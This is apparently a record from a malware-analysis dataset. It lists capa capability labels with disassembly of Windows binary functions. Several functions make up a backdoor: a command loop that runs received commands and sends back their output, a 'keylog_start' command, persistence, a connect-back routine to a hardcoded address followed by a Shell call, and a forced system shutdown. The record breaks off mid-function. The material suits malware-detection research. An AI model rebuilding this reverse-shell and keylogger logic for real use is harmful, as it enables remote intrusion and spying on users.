joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000b9d0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000b9e0]
mov dword [rax], 1
mov rax, qword [0x14000b9f0]
mov dword [rax], 1
mov rax, qword [0x14000b970]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000b9c0]
mov dword [0x14000f00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000baa0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000ba80]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000b920]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140002217
Capabilities:
Create thread
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
mov eax, 0x5130
call fcn.140003720
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x4c90]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x4890]
mov r8d, 0x400
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0xc0]
mov r8d, 0x47d0
mov edx, 0
mov rcx, rax
call sym.memset
mov eax, dword [0x140010040]
cdqe
lea rdx, [rbp + 0x4c90]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
lea rax, [rbp + 0x4c90]
mov rdx, rax
lea rax, str.Received_command:__s_n
mov rcx, rax
call sym.printf
movzx edx, byte [rbp + 0x4c90]
movzx eax, byte [0x14000b1bd]
movzx edx, dl
movzx eax, al
sub edx, eax
test edx, edx
jne 0x1400022fc
mov eax, dword [0x140010040]
cdqe
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 0
call sym.exit
lea rax, [rbp + 0x4c90]
mov r8d, 3
mov rdx, rax
lea rax, [0x14000b1bf]
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140002376
lea rax, [rbp + 0x4c90]
mov r8d, 0x64
mov edx, 3
mov rcx, rax
call sym.str_cut
mov qword [rbp + 0x5098], rax
lea rax, [rbp + 0x4c90]
mov r8d, 0x64
mov edx, 3
mov rcx, rax
call sym.str_cut
mov rcx, rax
call sym.chdir
mov rax, qword [rbp + 0x5098]
mov rcx, rax
call sym.free
jmp 0x14000222d
lea rax, [rbp + 0x4c90]
mov r8d, 7
mov rdx, rax
lea rax, str.sysinfo
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x1400023ee
mov r8d, 0x1000
mov edx, 0
lea rax, [0x14000f040]
mov rcx, rax
call sym.memset
lea rax, [0x14000f040]
mov rcx, rax
call sym.Sysinfo
mov eax, dword [0x140010040]
cdqe
mov r9d, 0
mov r8d, 0x1000
lea rdx, [0x14000f040]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x14000222d
lea rax, [rbp + 0x4c90]
mov r8d, 7
mov rdx, rax
lea rax, str.persist
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x14000241b
call sym.bootRun
jmp 0x14000222d
lea rax, [rbp + 0x4c90]
mov r8d, 0xc
mov rdx, rax
lea rax, str.keylog_start
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x14000247b
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.logg]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x50a0], rax
jmp 0x14000222d
lea rax, [rbp + 0x4c90]
lea rdx, [0x14000b1e0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x50a8], rax
jmp 0x1400024d1
lea rax, [rbp + 0xc0]
mov rcx, rax
call sym.strlen
mov edx, 0x47cf
mov rcx, rdx
sub rcx, rax
lea rdx, [rbp + 0x4890]
lea rax, [rbp + 0xc0]
mov r8, rcx
mov rcx, rax
call sym.strncat
mov rdx, qword [rbp + 0x50a8]
lea rax, [rbp + 0x4890]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x14000249e
mov eax, dword [0x140010040]
cdqe
lea rdx, [rbp + 0xc0]
mov r9d, 0
mov r8d, 0x47d0
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x50a8]
mov rcx, rax
call sym.fclose
lea rax, [rbp + 0xc0]
mov rdx, rax
lea rax, str.Sending_response:__s_n
mov rcx, rax
call sym.printf
jmp 0x14000222d
Function at 0x140002548
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x170], rcx
mov qword [rbp + 0x178], rdx
mov qword [rbp + 0x180], r8
mov dword [rbp + 0x188], r9d
lea rax, str.192.168.99.11
mov qword [rbp + 0x158], rax
mov word [rbp + 0x156], 0x586
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x1400025ae
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [0x140010040], eax
lea rax, [rbp + 0x140]
mov r8d, 0x10
mov edx, 0
mov rcx, rax
call sym.memset
mov word [rbp + 0x140], 2
mov word [rbp + 0x140], 2
mov rax, qword [rbp + 0x158]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x144], eax
movzx eax, word [rbp + 0x156]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x142], ax
nop
mov eax, dword [0x140010040]
cdqe
lea rdx, [rbp + 0x140]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x140002661
mov ecx, 0xa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000262b
call sym.Shell
nop
add rsp, 0x1e0
pop rbp
ret

Function at 0x140002980
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400029f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400100d4]
mov rbx, rcx
test esi, esi
jle 0x140002b20
mov rax, qword [0x1400100d8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002a3b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002ac5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002a20
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002b42
mov rax, qword [0x1400100d8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400100d8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002b27
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002abe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002ad0
add dword [0x1400100d4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400100d8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002abe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002a48
mov rax, qword [0x1400100d8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400030b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140010140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140010120]
test rbx, rbx
je 0x14000310c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003103
test rsi, rsi
je 0x140003103
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400030e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140003320
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140003338
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140003340
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140003350
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000339d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140003394
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000339f
add rax, 0x28
cmp rax, r9
jne 0x140003380
xor eax, eax
ret

Function at 0x1400033a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140003430
mov rdx, qword [0x14000b970]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000341e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000341e
cmp word [rax + 0x18], 0x20b
jne 0x14000341e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140003430
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140003409
add rbx, 0x28
cmp rbx, rdi
je 0x140003430
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140003400
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140003440
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b970]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003460
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003468
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003460
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400034bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400034b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003460
add rax, 0x28
cmp rax, r9
jne 0x1400034a0
xor eax, eax
ret

Function at 0x1400034c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b970]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400034df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400034e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400034df
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003500
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000b970]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140003520
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140003528
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140003520
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140003570
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140003567
test rcx, rcx
je 0x140003520
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140003558
xor eax, eax
ret
Function at 0x140003580
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b970]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000359f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400035a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400035c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000b970]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400035e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400035e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400035e0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400035e0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140003634
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140003640
add rdx, 0x28
cmp r9, rdx
jne 0x140003620
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140003650
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000b970]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140003672
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140003680
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003672
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140003672
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140003672
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400036d5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400036e8
add rdx, 0x28
cmp rdx, r10
jne 0x1400036c0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400036f7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140003707
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400036de
test ecx, ecx
jg 0x1400036f0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140009070
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call dbg.__main
call dbg.__p__acmdln
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400090bb
jmp 0x140009131
test cl, cl
je 0x1400090e8
and esi, 1
je 0x1400090d0
mov esi, 1
call sym._ismbblead
test eax, eax
je 0x1400090b7
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x140009098
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400090a6
test cl, cl
je 0x1400090e8
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1400090e8
cmp al, 0x20
jle 0x1400090d8
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x140009116
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x14000b970]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp sym.WinMain
lea rbx, [0x14000b210]
jmp 0x1400090e8
Function at 0x180001db0
Capabilities:
Shutdown system

Disassembly:
sub rsp, 0x58
mov rax, qword [0x180068080]
xor rax, rsp
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180001e48
lea r8, [rsp + 0x3c]
xor ecx, ecx
lea rdx, [0x180057500]
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
xor eax, eax
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x44], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov r9d, 1
mov dword [rsp + 0x28], 0x80000000
xor r8d, r8d
mov dword [rsp + 0x20], 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180022640
add rsp, 0x58
ret

Function at 0x180006a00
Capabilities:
Get session user name

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x180068080]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], 0x101
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x180006abd
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1800182b0
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
mov rcx, rbx
call fcn.18001b6f0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180006ae5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006ab6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006b01
call fcn.18002269c
jmp 0x180006ae5
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
xor r8d, r8d
lea rdx, [0x1800574f8]
mov rcx, rbx
call fcn.180005680
mov rax, rbx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180022640
add rsp, 0x270
pop rbx
ret
call fcn.18002935c
int3
Function at 0x180006b10
Capabilities:
Get hostname

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x180068080]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], 0x10
lea r8, [rsp + 0x28]
lea rdx, [rsp + 0x50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x180006bcf
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.1800182b0
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
mov rcx, rbx
call fcn.18001b6f0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180006bf7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006bc8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006c10
call fcn.18002269c
jmp 0x180006bf7
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0
xor r8d, r8d
lea rdx, [0x1800574f8]
mov rcx, rbx
call fcn.180005680
mov rax, rbx
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.180022640
add rsp, 0x80
pop rbx
ret
call fcn.18002935c
int3
Function at 0x1800072e0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180068080]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, rcx
mov qword [rsp + 0x28], rcx
xor r15d, r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebp, eax
xorps xmm0, xmm0
test eax, eax
jne 0x180007347
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
xor r8d, r8d
lea rdx, [0x1800574f8]
mov rcx, rsi
call fcn.180005680
jmp 0x180007433
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r15
lea r14, [rbp*2]
cmp r14, 0x1000
jb 0x18000738c
lea rcx, [r14 + 0x27]
cmp rcx, r14
jbe 0x180007533
call fcn.180022660
test rax, rax
je 0x18000752d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1800073a1
test r14, r14
je 0x18000739e
mov rcx, r14
call fcn.180022660
mov rdi, rax
jmp 0x1800073a1
mov rdi, r15
mov qword [rsp + 0x50], rdi
lea rbx, [r14 + rdi]
mov qword [rsp + 0x60], rbx
mov r8, r14
xor edx, edx
mov rcx, rdi
call fcn.180024d60
mov qword [rsp + 0x58], rbx
mov rdx, rdi
mov ecx, ebp
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x18000745d
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
xor r8d, r8d
lea rdx, [0x1800574f8]
mov rcx, rsi
call fcn.180005680
nop
test rdi, rdi
je 0x180007433
sub rbx, rdi
sar rbx, 1
add rbx, rbx
mov rax, rdi
cmp rbx, 0x1000
jb 0x180007428
add rbx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000752d
mov rdx, rbx
mov rcx, rdi
call fcn.18002269c
mov rax, rsi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.180022640
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1800182b0
nop
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rdx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [rdx + rax*2]
lea rdx, [rsp + 0x30]
cmovae rdx, qword [rsp + 0x30]
mov rcx, rsi
call fcn.18001b6f0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1800074d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800074d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007527
call fcn.18002269c
movdqa xmm0, xmmword [0x18005e920]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r15w
test rdi, rdi
je 0x180007433
sub rbx, rdi
sar rbx, 1
add rbx, rbx
mov rax, rdi
cmp rbx, 0x1000
jb 0x180007428
add rbx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000752d
jmp 0x180007428
call fcn.18002935c
nop
call fcn.18002935c
int3
call fcn.1800011a0
int3
Function at 0x1800078d0
Capabilities:
Check mutex on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
lea rcx, [rsp + 0x50]
call fcn.180006b10
nop
cmp qword [rax + 0x18], 0x10
jb 0x1800078f4
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xor esi, esi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x180007912
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.180005680
nop
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9d, dword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
lea rcx, [rdi + 1]
mov eax, 2
mul rcx
cmovo rax, rbx
mov rcx, rax
call fcn.180022cec
mov rbx, rax
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov word [rbx + rdi*2], si
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rbx, rax
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1800079ea
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007a92
call fcn.18002269c
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x180007a36
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
